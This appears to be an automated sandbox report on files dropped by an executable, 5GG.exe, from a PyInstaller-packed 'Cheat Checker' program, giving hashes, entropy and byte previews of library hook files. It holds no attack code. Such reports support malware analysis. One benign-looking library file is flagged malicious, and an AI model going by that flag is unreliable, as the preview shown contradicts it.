Preview:	o.........e2........................@...s....d.d.l.m.Z...e.d...Z.d.g.Z.d.S.)......)...collect_data_filesZ.khmernltkZ.sklearn_crfsuiteN).Z.PyInstaller.utils.hooksr....Z.datasZ.hiddenimports..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-khmernltk.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-kinterbasdb.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.157779594833064
Encrypted:	false
SSDEEP:	12:C862Dd/tRbJpJfCMC2ch95RlESHHS6EgJ9OX9rGxmyIt:XB/t9JaMNWPl5HEI4IE
MD5:	87E61F473985635052A224113E660E43
SHA1:	E2C1D9809F7E590BDE12FC07B13DA27348C64F8C
SHA-256:	61E8355E5C414314E692D8EA6B835EEF484743E3AF2A4C62A40E6FEC93BA5189
SHA-512:	0C646DF3139F213773267009469DA93504BF826A7945FC2A8ECBF6C7DE02B067F7C0907AC7545D391FEC851E753C16FF8CB72FABBA84D6B50828DA9E7A6A45F3
Malicious:	false
Preview:	o.........eS........................@...s....g.d...Z.d.S.).).Z.k_exceptionsZ.servicesZ.typeconv_nakedZ.typeconv_backcompatZ.typeconv_23plusZ.typeconv_datetime_stdlibZ.typeconv_datetime_mxZ.typeconv_datetime_nakedZ.typeconv_fixed_fixedpointZ.typeconv_fixed_stdlibZ.typeconv_text_unicodeZ.typeconv_util_isinstanceZ._kinterbasdbZ._kiservicesN).Z.hiddenimports..r....r.....}...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-kinterbasdb.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-langchain.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.212313516921503
Encrypted:	false
SSDEEP:	6:y/qQNae9zsPxNAR2PmXLAlcJ5jkDHSC5EgTdArQfVOX9rFMoWdI6r:CzaeGPxNeXxz+HS6EgJ9OX9rGPI6r
MD5:	E9B9D51B683250DEEC0672B402C757F2
SHA1:	D6A5A5E56A4F2F78865BD84AE73A6A7BC6462495
SHA-256:	2B5719CB604132C9CF02F3388DCA1AB06738891A522A97858166A64D6469B2CA
SHA-512:	D37ABF068528A0B1530341EEBE0A52A333590401BE94AB05328A392EB3B4CA79DD1A617CAA52DA26F919AA78640637B3753CFB1C9D16E6E50EE9537D0AEE7C6B
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.langchainN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-langchain.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-langcodes.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.197431251836709
Encrypted:	false
SSDEEP:	6:y/qQNae9zsPxNAR2DZXLAlcJ5jkDHSC5EgTdArQfVOX9rFMoa8I6r:CzaeGPxNdXxz+HS6EgJ9OX9rGv6r
MD5:	DC0CB468C2A782AFDB0E04E3A6B149C6
SHA1:	50295F780F67D6A9B4C957ECAD8F2EFB8EC03DF8
SHA-256:	578AC657873E0770E62096486437F65D16B9E142A49ACA5DAD188879C75A2775
SHA-512:	282EBDC236CE8BD896C2EAD9F5BED27E187240888F0024BE0474C85C7AD630E7711F24019C438D3BFF247FE072ED49FA435BC124ADBC91ACA7BA276AA31DFA38
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.langcodesN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-langcodes.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-langdetect.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.197374336480039
Encrypted:	false
SSDEEP:	6:y/qQJe9zsPxNARx2tdXLAlcJseDHSC5EgTdArQfVOX9rFMog0td6r:CXeGPxiCXxlHS6EgJ9OX9rGrA6r
MD5:	C45A94603BE6816A1CE68DFD0307E358
SHA1:	FC4244CD4E7B2F3490920C46C345B18BC6EE8D1C
SHA-256:	8DF069AB901C4B85AF38B92BA644D57F4FF89C313433C76F2A8467365338680C
SHA-512:	6BDCE03ADD0101D8FA307433E94AE336091E711ACD5F69A8CA6AC016D6C204B1AD1518BFB5E0A52CD930CED1E740CF23E57E5B993A497FB7C686CBF2AF4A872B
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.langdetectN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....\|...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-langdetect.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-laonlp.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.194317850103581
Encrypted:	false
SSDEEP:	6:y/qQV/e9zsPxNARLbdXLAlcJOkDHSC5EgTdArQfVOX9rFMoa6r:CDeGPxsdXxRHS6EgJ9OX9rGt6r
MD5:	7F21CFF2B76199A13F7791F311A3D9F3
SHA1:	FC2871E7C57EB183EE56DC2DC1F0B3640E2BAA44
SHA-256:	3C9005296F97F17072B7B9D7B8000324CA7FEF8E12992826D3F49C85255A6A13
SHA-512:	42BB4F837036428424CDEB3DB68D2B9E7DC10240C9624B442304F7EF5B5C94E394F08B0C4F7CD40C4C61C79D6D1774C0DB33A53218E3EA50C1C0839ACD439A39
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.laonlpN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-laonlp.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-lark.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.179297922691588
Encrypted:	false
SSDEEP:	6:y/qQfe9zsPxNARzBXLAlcJ2eDHSC5EgTdArQfVOX9rFMoiZ6r:CBeGPxIBXxzHS6EgJ9OX9rGX6r
MD5:	BF740CA7AD5E5CB5969F3BDBFE9F445A
SHA1:	5839E918DCE60875E2FDB06DB0EE8E8DB5CE9BF6
SHA-256:	2E51338F75F54C2E9845603A9CA98FCE26D75B767C9F02B365C2D13DECCCD9E5
SHA-512:	3E624BF0C29F4B1873A9991ED1A1B7A045BF3EEAC1A02740477069FD1028ED713B91F2FE56ACD7A1B56D0B89AB94C75A3C75B273352DFDB247AF34571B34B822
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.larkN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....v...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-lark.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-ldfparser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.20960392427853
Encrypted:	false
SSDEEP:	6:y/qQQK/e9zsPxNARiMWeXLAlcJ5jkDHSC5EgTdArQfVOX9rFMoPWi6r:CKaeGPxFXeXxz+HS6EgJ9OX9rG9i6r
MD5:	37912833D3020E9636B67DD60B7A27D6
SHA1:	3A1B64E38BF5D20976EC6D4D48150ED0DFF0ED2E
SHA-256:	0859EF64CDABE16BB651DD57D5C87C15675BBCD41175E6FCA5DD8E291AEADF22
SHA-512:	71BEDA1A02D6E370731C6C5D60F652E508B5A107814C7A5E239E538274C201DC5CA9D269DEE963BFE27176E2055ACBB6E2A872DDCB32EF9B1B2AC9A59CE29883
Malicious:	false
Preview:	o.........e&........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.ldfparserN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-ldfparser.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-lensfunpy.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	5.205652140159378
Encrypted:	false
SSDEEP:	12:CC5Ud8n3k/xYl5+HS6EgJ9OX9rG8R0OhYwvNrwX4I0M:Q8n+EI4jri4I0M
MD5:	8EFD9CFB23596571A5C553D1EE44A2D5
SHA1:	31126494855F3F855C2DC5BBC3CA04AECCD0D703
SHA-256:	340BBFD46210975A161D7A3A40C950B500566EC17DC1B70610837FCF8C2BF99B
SHA-512:	BFD49C96131BF2961FDC1313CD7ECE859F18E952F10EF8C32F237FFDC6DF3F9749308124C6C9446616624BFAD8A54881A145F456649424613E14092DAC82D940
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.e.d.d...e.d.......Z.d.d.g.Z.d.S.)......)...collect_data_filesc....................C...s....\|.d.....d...S.).Nr....z..xml)...endswith)...p..r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-lensfunpy.py..<lambda>....s......r....Z.lensfunpy..numpy..enumN).Z.PyInstaller.utils.hooksr......list..filterZ.datasZ.hiddenimportsr....r....r....r......<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-libaudioverse.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.3111528532868375
Encrypted:	false
SSDEEP:	12:CnehOBSTOx9J02DAA+6IpB1J8XIWulBSHS6EgJ9OX9rG3tPB:vYzJTAADb22EI4sNB
MD5:	941B3A6F5A0DD63A18E7BEF8D372A731
SHA1:	63AE683C070EB5917857DB988FD883BA1A49D9E4
SHA-256:	657C20EFEDBA3D561F9DB18BE87F6C7C8B234E65E8EE6615CFF1737E7433212F
SHA-512:	6DB90E93E61976468A368CE9D94501866F0726A7C8A6997D525599D5F2509089F3CDE8D125011DC921C44A324F4432F42A14A391198917ED2899216F76B07245
Malicious:	false
Preview:	o.........e^........................@...s....d.Z.d.d.l.m.Z...e.d...Z.d.S.).z?.Libaudioverse: https://github.com/libaudioverse/libaudioverse......)...collect_dynamic_libsZ.libaudioverseN)...__doc__Z.PyInstaller.utils.hooksr....Z.binaries..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-libaudioverse.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-librosa.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	397
Entropy (8bit):	5.35448161778561
Encrypted:	false
SSDEEP:	12:C+Q0Bzl9Yz15aXfGmlloHS6EgJ9OX9rGjJA:fja15cfZlloEI4H
MD5:	4A9F02D76AC9352CBE27C7731337BB77
SHA1:	33315268341D8A7BF06F8343B13667790F9A6E0C
SHA-256:	34D0798B48C4FC0B82338FD6EF295161E62D1906CB6323511333121C6AF664A7
SHA-512:	31FC5D2ADB7BF8957D880683D0E209894BF803C135C73B95B843B52088A1BBB0E8E49ADBCE6192E3222B220A05AED49627DEFFD8C8D8CA217443C61942644E3D
Malicious:	false
Preview:	o.........e.........................@...s...d.d.l.m.Z.m.Z...e.d.d.g.d...Z.e.d...Z.d.S.)......)...collect_data_files..collect_submodulesZ.librosaz.*/__pycache__)...excludesN).Z.PyInstaller.utils.hooksr....r....Z.datasZ.hiddenimports..r....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-librosa.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-lightgbm.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.31124304758659
Encrypted:	false
SSDEEP:	6:y/qQglGt/uM5Brb+gVb2r6UXLAlkODHSC5EgTdArQfVOX9rFMoYtk:C6liuorb++lUXCHS6EgJ9OX9rGntk
MD5:	086911C79A6D134847095E7A7FD9448C
SHA1:	246E9BCEB60E1492F254BE0E2E13D31EA5150A32
SHA-256:	1A5F58F17DEE4F01804AA2E0B4CCFFD905C697649BE76F5FBD058DFF53ACF962
SHA-512:	42E88686B0CD0D39FE0A27FFA42DE849D7B56F81E4A3F5B66FF7E51AB7556AB1C9A23B6429FE9CABF4FFB014370B7F541A9C5D3B701539EB351A3712735E6A5B
Malicious:	false
Preview:	o.........e.........................@...s0...d.d.l.m.Z...e.d...Z.e.e.d...7.Z.e.e.d...7.Z.d.S.)......)...collect_dynamic_libsZ.lightgbmZ.sklearnZ.scipyN).Z.PyInstaller.utils.hooksr....Z.binaries..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-lightgbm.py..<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-lightning.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.316733558101974
Encrypted:	false
SSDEEP:	6:y/qQ8/lY7zsR9bNARA8lAtm5XLAlcJ5jkDHSC5EgTdArQfVOX9rFMoxIEE5D:CmK74zb58aU5Xxz+HS6EgJ9OX9rGbEID
MD5:	8C7FEB3A8D50F45A1CC8F3B90A293B52
SHA1:	6F3D93BB72672288D0A60201DAEA1FE88EFB38A1
SHA-256:	560E3F5682A2A161B2C7C7791AEE68F0C6C465BCD0BD26C6C5FDDDE027565158
SHA-512:	AF53CE02D14DEFC01D200E08AD769E59298751785C9A1726B512EC0AA4E09BBCE6DCF32005EA39C196B73E2C33FD1A89B8C18C9400D8AC98704EDF182E0454FD
Malicious:	false
Preview:	o.........eJ........................@...s....d.d.l.m.Z...e.d.d.g.d...Z.d.S.)......)...collect_data_filesZ.lightningz.version.info).Z.includesN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-lightning.py..<module>....s..............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-limits.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.200130437976673
Encrypted:	false
SSDEEP:	6:y/qQV/e9zsPxNAR8UXLAlcJOkDHSC5EgTdArQfVOX9rFMoGAZI6r:CDeGPxyXxRHS6EgJ9OX9rGFZ6r
MD5:	8CB1EE974A843D3C4C8D773854165520
SHA1:	73AA44DFD52CD325130E8353ED6B548F031E7325
SHA-256:	77B612F1878D6DB1F969063A8B3BF59ED3CE061820ED0D5E99E9BE9BF619D632
SHA-512:	4716D5FF5C74DDE8D1F52AA3C7C0E4C6648497371D314E154BFB2CEEA5DB88B2704D4327A03B4FFEA63A9442B8EC1E1BDDAF5A473F6773AF6DACE325D5FE0880
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.limitsN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-limits.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-linear_operator.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.09647251803472
Encrypted:	false
SSDEEP:	6:y/qQQK/qetGCoPYwjMjkDHSC5EgTdArQfVOX9rFMorhqIzUh:CKaqeUQijHS6EgJ9OX9rGWcIwh
MD5:	745B7006F840BE884F38761C4396A871
SHA1:	D9A12C83BC719B4D6593249358392E2DD45F1603
SHA-256:	2820C4E58A0BD00BD04E52EB38AFB21F17A4260FD1E85B76A3CDE410F392115E
SHA-512:	EF4767A4CEE7D41700B4AA6FD3C875C4CBE89CE2C48A6FC452CF538FF27FF585C80EBBE3278B1F461BAEF3975C134B8B0D253F047953B6D8AF124C4F969A7A8F
Malicious:	false
Preview:	o.........e&........................@...s....d.Z.d.S.).z.pyz+pyN).Z.module_collection_mode..r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-linear_operator.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-lingua.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.225039644154952
Encrypted:	false
SSDEEP:	6:y/qQV/e9zsPxNARdkUXLAlcJOkDHSC5EgTdArQfVOX9rFMogcU6r:CDeGPxGrXxRHS6EgJ9OX9rGaU6r
MD5:	AAC30744D8D7D3FE073B936E05A1F92E
SHA1:	371ECA4BCEF0C5353277F3F690591A6744303538
SHA-256:	F57E14A5E1D60C0CA5AD3F269F857D509D8A1087AD223F5D3F5BD09133EC756D
SHA-512:	4221F69DD36D01967071DABDAF045764E5C66C8B446082376E11D6A9F92E7D9E18B820154584503EAC07078DA3130982E5CD14EACF14AAC7A7BFDCDF76C7149C
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_data_filesZ.linguaN).Z.PyInstaller.utils.hooksr....Z.datas..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-lingua.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-litestar.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.204193239932784
Encrypted:	false
SSDEEP:	6:y/qQb/Ce9zsPxNyRE2r/BXLAlIMfDHSC5EgTdArQfVOX9rFMo5Et6o:CFCeGPxsRE2r/BXF6HS6EgJ9OX9rGVtj
MD5:	20733FBDA326964D5971B871BF3152BD
SHA1:	FA68A0E0B54A7BF4777B0951C54C39E1898344C2
SHA-256:	35DE732E7F7A15D6738228D3B0BE4E163D37534C503170E3B6285CE730CD3917
SHA-512:	AC5BEE39CAD6771B49F5B49318B805D9D1A17CFE19902EFA486B1914335F02C1C6968A325648419FAF38CC204EF96746FD97D07C6A70A440FFDFDB74C91726AF
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_submodulesz.litestar.loggingN).Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-litestar.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-llvmlite.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	316
Entropy (8bit):	5.209255267817245
Encrypted:	false
SSDEEP:	6:y/qQge9zsPx+mMc5XLAlkODHSC5EgTdArQfVOX9rFMoArI61:CKeGPx+mvXCHS6EgJ9OX9rGC61
MD5:	181C89F160FA38F125BF1820DD21CF6C
SHA1:	3EC5214445A6A66AC3016F2F1231BDE54B309B2E
SHA-256:	C41944B8C130B42147AA244A3EE68EA643C2B0AC4685DFF792091F45CBDDA8A1
SHA-512:	1A887A3176D5CFB34C5368A18F5C5B3CB0DA2C8D1BA3DB6C28FCAA17B7C1D88F58F397EF28D3E04D48D31B5137D1E431C9119C236FE418C21BF64C54707230E7
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_dynamic_libsZ.llvmliteN).Z.PyInstaller.utils.hooksr....Z.binaries..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-llvmlite.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-magic.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.2874955267718615
Encrypted:	false
SSDEEP:	6:y/qQYaeCZvhUvBT0lgRdHWQ9duXLAlXJhQ/HlADHSC5EgTdArQfVOX9rFMo74U:CCaeCKBT0b+uX6XHS6EgJ9OX9rG+Z
MD5:	BA2FA7A16A9350A3B591724B945CC98D
SHA1:	3C2F592DD0A20DC95DC004EE8AC6B8FE3B0E1A24
SHA-256:	D9608BB5823111BA32D91A24B0FFEB19B246EAF4C6A5960DDC854450220B02B7
SHA-512:	38C303B822318B53E5E775A270DCCEC2F6AEA71E09C49714CBC3C60AEE7CC79DCF0FEBA6040779508454BF345B792868A693DEE3CC06CCB619B5841E5A11A6C7
Malicious:	false
Preview:	o.........e~........................@...s$...d.d.l.m.Z.m.Z...e.d...Z.e.d...Z.d.S.)......)...collect_data_files..collect_dynamic_libs..magicN).Z.PyInstaller.utils.hooksr....r....Z.datasZ.binaries..r....r.....w...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-magic.py..<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-mariadb.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.411012147135832
Encrypted:	false
SSDEEP:	12:ClvQSYH7ewaMPXKmlloHS6EgJ9OX9rGXMIE8kM:DePMv1lloEI4G+M
MD5:	064639A9F085BE43595B97566C64BF8A
SHA1:	49ECA64D1B3447E52383646B7D59B4CD291F7B9C
SHA-256:	9DB377701B1DEE82097B5E726B39262208F59E04DC2A97E57E3C28303538DEB0
SHA-512:	1B9FE56F2B7E8FD146D07361F2AA9860577D5E1AE21A6B2B315ED22F98E43A287619729A06B17DDF693859F58F5A06341EB54A88D3E0B5925466472C8BF10DD2
Malicious:	false
Preview:	o.........eV........................@...s2...d.d.l.m.Z.m.Z...d.g.Z.e.d...r.e.e.d...7.Z.d.S.d.S.)......)...is_module_satisfies..collect_submodules..decimalz.mariadb >= 1.1.0z.mariadb.constantsN).Z.PyInstaller.utils.hooksr....r....Z.hiddenimports..r....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-mariadb.py..<module>....s..............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future-0.18.3.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.606755724585684
Encrypted:	false
SSDEEP:	3:FXKJGDEPyCOWwAWon:F6EDEPyCEon
MD5:	93F2AC3086644D644B24CFFAC9394948
SHA1:	3824EDABA5C2A82AE31827B9747817314BBEB8DD
SHA-256:	0D3D02DDACF681BFAE25A8FE7ECD21E16C076252550E9D04BCB76E775CB9672C
SHA-512:	121F6162922C0EDD3BF62F0FBD9AF11CC8C4162B7B479438FA1DB6DABAC61247A0E3ED66470B8C333024C8740C1769E17E3980DF7E6F03E4E83BBA4D9593422B
Malicious:	false
Preview:	future.libfuturize.libpasteurize.past.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2991
Entropy (8bit):	4.905985285052483
Encrypted:	false
SSDEEP:	48:IeXHXH+Io/XHyGZQPRSg6od9KXNyA0cXAIMXY6FiwApWq/UnY/a8eOuAVLL6UuX7:D3X+Io/XyUwd9K9yA5d6swApWNmkUuEo
MD5:	7AB454D179B36DA9DF5FBAAE626BD390
SHA1:	FDA75303135C7DC965A70CDC3299BD94F402CF81
SHA-256:	81B0440912651B97B3CB2D042A129191C54CB05CD893E501108F2B7935759045
SHA-512:	3AFFA20BFB6B5FB03596E882A017D73604CCB7E8E4C93ECBBA5BE6EFBF93EA4DFAFDA4AE394518705ADB0BEC1383F486AF7BC0DF906AD83048F6B6CF85830C67
Malicious:	true
Preview:	""".future: Easy, safe support for Python 2/3 compatibility.=======================================================..``future`` is the missing compatibility layer between Python 2 and Python.3. It allows you to use a single, clean Python 3.x-compatible codebase to.support both Python 2 and Python 3 with minimal overhead...It is designed to be used as follows::.. from __future__ import (absolute_import, division,. print_function, unicode_literals). from builtins import (. bytes, dict, int, list, object, range, str,. ascii, chr, hex, input, next, oct, open,. pow, round, super,. filter, map, zip)..followed by predominantly standard, idiomatic Python 3 code that then runs.similarly on Python 2.6/2.7 and Python 3.3+...The imports have no effect on Python 3. On Python 2, they shadow the.corresponding builtins, which normally have different semantics on Python 3.versus 2, to provide their Python 3 semantics....St

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3148
Entropy (8bit):	5.196613177394948
Encrypted:	false
SSDEEP:	96:R3X+Io/XyUwd9K9yA5d6swApWNmkUuE7HhGyXyNhcP1IQ:sCqPw36HIC
MD5:	24A9310EFFF30BE3C58DD5E359A697D0
SHA1:	F66854DEC2CD5D35372BBBDBBE06917F5739759D
SHA-256:	FEA1F96F590DF632A71350C42749712F1E3E55F818A5AF72B824449900E40C07
SHA-512:	243E13816B1A2B6EF6BC37ADA3760E9930C5AE9E36221899302D41844DD565137C9CD2A27FE80607C71CD8DC0F60596B8635E47218250036C2F113A0FFCCD401
Malicious:	false
Preview:	o.........e.........................@...s8...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.e.e.e.e.f...Z.d.S.).af....future: Easy, safe support for Python 2/3 compatibility.=======================================================..``future`` is the missing compatibility layer between Python 2 and Python.3. It allows you to use a single, clean Python 3.x-compatible codebase to.support both Python 2 and Python 3 with minimal overhead...It is designed to be used as follows::.. from __future__ import (absolute_import, division,. print_function, unicode_literals). from builtins import (. bytes, dict, int, list, object, range, str,. ascii, chr, hex, input, next, oct, open,. pow, round, super,. filter, map, zip)..followed by predominantly standard, idiomatic Python 3 code that then runs.similarly on Python 2.6/2.7 and Python 3.3+...The imports have no effect on Python 3. On Python 2, they shadow the.corresponding builtin

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	530
Entropy (8bit):	3.9067028625721374
Encrypted:	false
SSDEEP:	6:IuFVfMABCR0yoXNaz6mOHK22oQmOHiBGxW50HLQc1JjVvH3EVbhFTXW:IOfjCOyoXQ6y22xWf50rX1dNH3EVbXG
